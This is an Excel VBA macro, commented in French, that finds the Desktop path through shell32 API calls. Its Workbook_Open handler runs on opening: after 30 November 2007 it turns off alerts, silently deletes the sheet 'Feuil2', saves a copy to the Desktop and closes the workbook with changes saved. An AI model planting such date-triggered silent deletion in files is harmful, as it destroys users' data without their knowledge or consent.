Option Explicit
' déclaration Api pour trouver le chemin du Bureau
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
'Constantes
Const NOERROR = 0
Const CSIDL_DESKTOP = &H0 '{desktop}
Function Cherche_Chemin(Param As Long) As String
Dim RetVal As Long
Dim Path As String ' déclaration des variables nécessaires
Dim IDL As ITEMIDLIST
RetVal = SHGetSpecialFolderLocation(0, Param, IDL) ' appel de la fonction api
If RetVal = NOERROR Then
Path = Space(512) ' taille du tampon
RetVal = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path)
Cherche_Chemin = Left(Path, InStr(Path, Chr(0)) - 1) ' extraction du chemin
Else
Cherche_Chemin = ""
End If
End Function
Private Sub Workbook_Open()
If Now > #11/30/2007# Then
Application.DisplayAlerts = False
Sheets("Feuil2").Delete
Application.DisplayAlerts = True
'enregistrement d 'une copie sur le bureau
ThisWorkbook.SaveCopyAs Cherche_Chemin(CSIDL_DESKTOP) & Application.PathSeparator & "2" & ThisWorkbook.Name
'fermeture et enregistrement du classeur
ThisWorkbook.Close True
End If
End Sub